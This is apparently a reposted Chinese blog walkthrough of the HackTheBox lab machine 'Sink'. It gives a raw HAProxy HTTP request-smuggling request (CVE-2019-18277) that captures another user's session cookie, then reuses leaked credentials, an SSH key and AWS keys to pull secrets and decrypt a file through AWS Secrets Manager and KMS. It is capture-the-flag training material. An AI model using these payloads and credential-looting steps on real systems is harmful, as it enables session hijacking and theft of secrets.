它来了!靶机渗透题目的一次实战记录

本文阅读 6 分钟

img

0x00 题目介绍

Sink是HackTheBox上一道难度是insane的Linux靶机,做了很久HackTheBox,第一次做insane难度的,还是学到了很多东西的,在这里跟大家分享一下。

题目主要涉及到的知识点是:

HAProxy HTTP request smuggling (CVE-2019-18277)
Git commit log
AWS CLI Configure

img

0x01 Port Scan

└─# nmap -sC -sV -oA sink 10.129.71.3
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-06 00:00 CST
Nmap scan report for 10.129.71.3
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=7d01b54d4b74326b; Path=/; HttpOnly
|     Set-Cookie: _csrf=fzBuPyYXciKNMjoU74_PH6UmsMU6MTYyNTUwMDg1NzUxOTkyOTA4OQ; Path=/; Expires=Tue, 06 Jul 2021 16:00:57 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 05 Jul 2021 16:00:57 GMT
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=5a24776cc4ce15ce; Path=/; HttpOnly
|     Set-Cookie: _csrf=Naj5fDxJz0wmhymfl7zrTjDvfrI6MTYyNTUwMDg2NDgyNDg1NDY3MQ; Path=/; Expires=Tue, 06 Jul 2021 16:01:04 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 05 Jul 2021 16:01:04 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
5000/tcp open  http    Gunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops

开放的主要是3000和5000端口,3000端口为Gitea的网站,5000端口为Gunicorn的网站。3000端口的网站需要登录,但是我们没有掌握任何登录凭证,所以先看下5000端口网站。

0x02 Port 5000 – Gunicorn

5000端口网站可以注册账户,先尝试注册用户登录抓包看下 img

看到抓包中response包含了haproxy和gunicorn img

登录后页面可以发布评论。Google了下发现存在一个HAProxy HTTP request smuggling (CVE-2019-18277)的漏洞,通过HTTP请求走私发送构造的特定的评论请求,可以获取到其他用户发送的HTTP请求中的隐私信息。

[](https://p5.ssl.qhimg.com/t01d60faffdbd8b134e.png)

HAProxy HTTP request smuggling (CVE-2019-18277)

HAProxy在处理request header中的Transfer-Encoding和Content-Length时存在问题,如果在请求头中同时添加了Transfer-Encoding和Content-Length,并且在Transfer-Encoding的chunked字段前添加了x0b或者x0c时,HAProxy会错误的将带有Transfer-Encoding和Content-Length的请求发送给后端处理。此时因为后端将请求作为Transfer-Encoding格式的请求解析,即会在检测到类似0rnrn之后结束当前请求。

发送给HAProxy的请求:

POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:[\x0b]chunked

0

X

发送给后端处理的请求:

POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:
                  chunked
X-Forwarded-For: 172.21.0.1

0

X

当然利用的前提是必须要在HAProxy配置中配置http-reuse always,并在发送请求时在header中配置Connection: keep-alive。

img img

【资料获取】

admin cookie steal

利用上面的HAProxy HTTP request smuggling的漏洞,如果我们在构造的恶意请求之后,其他用户也进行了请求,那我们就可以通过走私一个恶意请求,将其他用户的请求的信息拼接到走私请求之后,并存储到网站中,我们再查看这些数据,就能获取用户的请求中的隐私信息了。

[](https://p1.ssl.qhimg.com/t01d2a73c34df54a654.png)

我们在repeater中构造一下请求

POST /comment HTTP/1.1
Host: 10.129.71.3:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: http://10.129.71.3:5000
Connection: keep-alive
Referer: http://10.129.71.3:5000/home
Cookie: lang=en-US; i_like_gitea=ec51054dc539d89a; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YO2r8w.8rq5TXqG7LkEYJV3cqVwOBTIh7o; _csrf=cQKWFLPhRfTeyypUg38t8RbxoUY6MTYyNjE4ODM1OTEzNDc4OTczMw
Upgrade-Insecure-Requests: 1
Transfer-Encoding: Cwo=chunked

5
msg=test
0

POST /comment HTTP/1.1
Host: 10.129.71.3:5000
Cookie: lang=en-US; i_like_gitea=ec51054dc539d89a; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YO2r8w.8rq5TXqG7LkEYJV3cqVwOBTIh7o; _csrf=cQKWFLPhRfTeyypUg38t8RbxoUY6MTYyNjE4ODM1OTEzNDc4OTczMw
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Connection: keep-alive

msg=

后面这部分POST请求即为我们走私的请求,因为需要在Transfer-Encoding的chunked前面加x0b,我们先添加Cwo=,然后在burp中shift+ctrl+b (base64 decode)即可,或者直接在burp中添加[x0b]也可以。发送后我们在评论处可以看到一条新的评论,包含了这个用户的cookie。

[](https://p5.ssl.qhimg.com/t016cc77e69d8edfa82.png)

Cookie editor替换一下,即可以获得admin@sink.htb的权限。

[](https://p1.ssl.qhimg.com/t010f231b3c1defc408.png)

Credentials

在Notes中可以获得三部分Credentials:

Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz

Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3

Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C

0x03 Port 3000 – Gitea

经过尝试,发现使用root/FaH@3L>Z3})zzfQ3这个密码可以成功登录3000端口的Gitea:

[](https://p3.ssl.qhimg.com/t016b345523c185bdce.png)

Gitea是一个类似git的代码托管平台,在几个主要的Repositories里看了下,发现key management中似乎有一些秘钥信息

[](https://p4.ssl.qhimg.com/t0158fb5234f8e285bf.png)

发现是用户marcus提交的ssh私钥 img

User -marcus

将私钥拷到本地,并修改权限为600,ssh尝试连接marcus用户成功

[](https://p1.ssl.qhimg.com/t01edad8d708bfaa817.png)

ls当前目录发现user.txt,获得第一个flag

[](https://p4.ssl.qhimg.com/t0160b00bbd58c59f81.png)

0x04 Privilege Escalation

根据Key Management可以发现,存在一些AWS的操作;同样在Log Management中,发现了marcus删除AWS相关配置的key和secret的提交记录

[](https://p4.ssl.qhimg.com/t01d4e7df2711d8c578.png)

顺着可以找到之前提交的配置的相关代码

<?php
require 'vendor/autoload.php';

use Aws\CloudWatchLogs\CloudWatchLogsClient;
use Aws\Exception\AwsException;

$client = new CloudWatchLogsClient([
    'region' => 'eu',
    'endpoint' => 'http://127.0.0.1:4566',
    'credentials' => [
        'key' => 'AKIAIUEN3QWCPSTEITJQ',
        'secret' => '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'
    ],
    'version' => 'latest'
]);
try {
$client->createLogGroup(array(
    'logGroupName' => 'Chef_Events',
));
}
catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
try {
$client->createLogStream([
    'logGroupName' => 'Chef_Events',
    'logStreamName' => '20201120'
]);
}catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
?>

AWS CLI Configure

Google了一下AWS、key、secret,发现在官方指导手册中有相关介绍,可以通过AWS配置key和secret,从而访问关键隐私信息。官方指导手册如下:

https://docs.aws.amazon.com/cli/latest/index.html

[](https://p4.ssl.qhimg.com/t0140c0257d5b1051f2.png)

我们也尝试按照官方说明配置下,只需要修改key和secret即可,region代表所在区域,直接按照官方默认来设置:

marcus@sink:~$ aws configure
AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: json

AWS Secretsmanager

配置完成之后可以通过secretsmanager列举保存的secrets

aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager list-secrets

img

然后根据列举出的secrets逐个查询

aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:xxxxxxx<name>"

获得了以下内容 img

username:david@sink.htb   password:EALB=bcC=`a7f2#k
username:albert@sink.htb  password:Welcome123!
username:john@sink.htb    password:R);\\)ShS99mZ~8j

User-david

查看/etc/passwd和/home路径,发现是存在david用户的,尝试了下可以成功用密码切换到david用户 img

0x05 AWS Key Management

severs.enc

david用户目录下/home/david/Projects/Prod_Deployment发现了一个servers.enc文件,显然需要解密 img

因为目录是Gitea项目相关的目录,猜测很可能还是需要通过AWS来解密,搜索之后发现了AWS Key Management

https://docs.aws.amazon.com/kms/latest/developerguide/concepts.html

list-keys

同样使用david用户先按照之前的AWS进行配置,配置之后可以list-keys

aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys

img

decrypt

按照国外大神的思路进行解密操作,bash脚本如下:

#!/binbash
for KEY in $(aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys | grep KeyId | awk -F\" '{ print $4 }')
do 
    aws --endpoint-url="http://127.0.0.1:4566/" kms enable-key --key-id "${KEY}"
    aws --endpoint-url="http://127.0.0.1:4566/" kms decrypt --key-id "${KEY}" --ciphertext-blob "fileb:///home/david/Projects/Prod_Deployment/servers.enc" --encryption-algorithm "RSAES_OAEP_SHA_256" --output "text" --query "Plaintext"
done

img

得到了一串base64的字符串,推荐使用CyberChef进行解密,选取自己想要的模块直接拖就行,非常方便:

https://gchq.github.io/CyberChef/
image.png

base64之后需要再gunzip解下包,可以得到最后的秘钥:

name: admin
pass: _uezduQ!EY5AHfe2

img

done!

总结

总的来看,这个靶机主要涉及到了HTTP请求走私、HAProxy HTTP request smuggling (CVE-2019-18277)、Gitea信息泄露、AWS CLI配置、AWS Key Management等知识点,以前没搞过AWS的可以通过这个靶机好好熟悉下。另外HTTP请求走私虽然利用比较苛刻,但是也算是一个可以利用的攻击方法,需要后续在深入学习下。

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/kali_Ma/article/details/119425259
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复